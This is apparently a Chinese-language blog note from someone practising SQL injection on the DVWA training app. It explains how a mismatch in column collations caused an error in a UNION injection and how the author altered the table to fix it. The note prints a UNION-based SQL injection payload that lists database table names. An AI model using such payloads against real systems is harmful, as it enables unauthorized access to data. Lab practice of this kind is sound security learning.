关于SQL注入报错：Illegal mix of collations for operation 'UNION’原因剖析与验证
今天练习了一下DVWA的SQL注入模块
使用了union注入时报错如下：Illegal mix of collations for operation ‘UNION’
payload：' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#
网上查了很多资料，原因是union两端的字段的collatie（排序规则）不同。
【关于collatie】
于是去数据库查询：
查询：
- 在user表中：
show create table users
主查询中的first_name和last_name字段的collatie为utf8_unicode_ci
- 在information_schema.tables表中：
show create table information_schema.tables
没有显示，但是经过查询charset=utf8的默认collatie为utf8_general_ci如下图：
show collation
查看数据库可知union两端的字段的collatie不同。
验证：
将users表中first_name与last_name字段的collatie改为utf8_general_ci，使union两端的字段的collatie保持一致：
【关于修改collatie】
alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci
alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci
再次回到DVWA用union注入尝试：
payload：' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#
验证成功！